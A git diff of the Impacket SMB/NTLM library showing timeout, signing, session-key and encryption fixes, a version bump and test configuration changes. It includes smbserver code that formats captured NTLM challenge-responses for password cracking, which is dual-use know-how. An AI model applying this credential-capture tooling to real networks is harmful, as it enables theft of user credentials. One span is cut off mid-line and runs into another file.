b/impacket/nmb.py index 3d163bbf..ec08870c 100644 --- a/impacket/nmb.py +++ b/impacket/nmb.py @@ -967,13 +967,17 @@ def polling_read(self, read_length, timeout): def non_polling_read(self, read_length, timeout): data = b'' + if timeout is None: + timeout = 3600 + + start_time = time.time() bytes_left = read_length while bytes_left > 0: try: ready, _, _ = select.select([self._sock.fileno()], [], [], timeout) - if not ready: + if not ready or (time.time() - start_time) > timeout: raise NetBIOSTimeout received = self._sock.recv(bytes_left) diff --git a/impacket/ntlm.py b/impacket/ntlm.py index 989704bb..cb7a4dc8 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -533,8 +533,9 @@ class NTLMMessageSignature(ExtendedOrNotMessageSignature): def __expand_DES_key(key): # Expand the key from a 7-byte password key into a 8-byte DES key - key = key[:7] - key += bytearray(7-len(key)) + if not isinstance(key, bytes): + key = bytes(key) + key = bytearray(key[:7]).ljust(7, b'\x00') s = bytearray() s.append(((key[0] >> 1) & 0x7f) << 1) s.append(((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1) diff --git a/impacket/smb.py b/impacket/smb.py index ccf564b4..32ce575b 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -2771,6 +2771,8 @@ def get_session_key(self): return self._SigningSessionKey def set_session_key(self, key): + self._SignatureEnabled = True + self._SignSequenceNumber = 2 self._SigningSessionKey = key def get_encryption_key(self): diff --git a/impacket/smb3.py b/impacket/smb3.py index e95c613d..9450c79e 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -650,7 +650,7 @@ def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', a self._Session['SigningKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], b"SMB2AESCMAC\x00", b"SmbSign\x00", 128) # Do not encrypt anonymous connections - if user == '': + if user == '' or self.isGuestSession(): self._Connection['SupportsEncryption'] = False # Calculate the key derivations for dialect 3.0 @@ -798,7 +798,7 @@ def login(self, user, password, domain = '', lmhash = '', nthash = ''): self._Session['SessionID'] = packet['SessionID'] # Do not encrypt anonymous connections - if user == '': + if user == '' or self.isGuestSession(): self._Connection['SupportsEncryption'] = False # Calculate the key derivations for dialect 3.0 @@ -1310,7 +1310,7 @@ def queryInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, queryInfo = SMB2QueryInfo() queryInfo['FileID'] = fileId - queryInfo['InfoType'] = SMB2_0_INFO_FILE + queryInfo['InfoType'] = infoType queryInfo['FileInfoClass'] = fileInfoClass queryInfo['OutputBufferLength'] = 65535 queryInfo['AdditionalInformation'] = additionalInformation @@ -1341,7 +1341,7 @@ def setInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, f packet['TreeID'] = treeId setInfo = SMB2SetInfo() - setInfo['InfoType'] = SMB2_0_INFO_FILE + setInfo['InfoType'] = infoType setInfo['FileInfoClass'] = fileInfoClass setInfo['BufferLength'] = len(inputBlob) setInfo['AdditionalInformation'] = additionalInformation @@ -1697,3 +1697,8 @@ def open_andx(self, tid, fileName, open_mode, desired_access): fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0) return fileId, 0, 0, 0, 0, 0, 0, 0, 0 + + def set_session_key(self, signingKey): + self._Session['SessionKey'] = signingKey + self._Session['SigningActivated'] = True + self._Session['SigningRequired'] = True diff --git a/impacket/smbserver.py b/impacket/smbserver.py index c7c4ad94..e2761951 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -151,13 +151,13 @@ def outputToJohnFormat(challenge, username, domain, lmresponse, ntresponse): if len(ntresponse) > 24: # Extended Security - NTLMv2 ret_value = {'hash_string': '%s::%s:%s:%s:%s' % ( - username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(challenge).decode('latin-1'), + username.decode('latin-1'), domain.decode('latin-1'), hexlify(challenge).decode('latin-1'), hexlify(ntresponse)[:32].decode('latin-1'), hexlify(ntresponse)[32:].decode('latin-1')), 'hash_version': 'ntlmv2'} else: # NTLMv1 ret_value = {'hash_string': '%s::%s:%s:%s:%s' % ( - username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'), + username, domain, hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'), hexlify(challenge).decode('latin-1')), 'hash_version': 'ntlm'} except Exception as e: import traceback @@ -805,7 +805,7 @@ def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataC connData = smbServer.getConnectionData(connId) errorCode = 0 # Get the Tid associated - if connData['ConnectedShares'].has_key(recvPacket['Tid']): + if recvPacket['Tid'] in connData['ConnectedShares']: data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '', struct.unpack('=0.2.3 pycryptodomex pyOpenSSL>=0.16.2 -ldap3>=2.5 +ldap3==2.5.1 ldapdomaindump>=0.9.0 flask>=1.0 diff --git a/setup.py b/setup.py index 5c5d8730..a1e6c9c6 100644 --- a/setup.py +++ b/setup.py @@ -18,7 +18,7 @@ def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup(name = PACKAGE_NAME, - version = "0.9.20-dev", + version = "0.9.20", description = "Network protocols Constructors and Dissectors", url = "https://www.secureauth.com/labs/open-source-tools/impacket", author = "SecureAuth Corporation", @@ -36,7 +36,7 @@ def read(fname): 'impacket.examples.ntlmrelayx.attacks'], scripts = glob.glob(os.path.join('examples', '*.py')), data_files = data_files, - install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3>=2.5.0', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], + install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3==2.5.1', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], extras_require={ 'pyreadline:sys_platform=="win32"': [], 'python_version<"2.7"': [ 'argparse' ], diff --git a/tests/ImpactPacket/test_TCP_bug_issue7.py b/tests/ImpactPacket/test_TCP_bug_issue7.py index a4c677ce..11069013 100755 --- a/tests/ImpactPacket/test_TCP_bug_issue7.py +++ b/tests/ImpactPacket/test_TCP_bug_issue7.py @@ -23,10 +23,6 @@ def run(self): frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' tcp = TCP(frame) - #except Exception,e: - # print "aaaaaaaaaaaaaaa" - # print e - #except Exception,e: except ImpactPacketException as e: if str(e) != "'TCP Option length is too low'": raise e diff --git a/tox.ini b/tox.ini index 100f8148..9055f5f7 100644 --- a/tox.ini +++ b/tox.ini @@ -1,16 +1,18 @@ # content of: tox.ini , put in same dir as setup.py [tox] -#envlist = py26#, py27,py36 -envlist = py27,py36 +#envlist = py26#, py27,py36,py37 +envlist = py27,py36,py37 [testenv] basepython = py26: python2.6 py27: python2.7 py36: python3.6 + py37: python3.7 changedir = {toxinidir}/tests deps=-rrequirements.txt coverage py26: wheel==0.29.0 coverage passenv = NO_REMOTE +commands_pre = {envpython} -m pip check commands=./runall.sh {envname} > /dev/null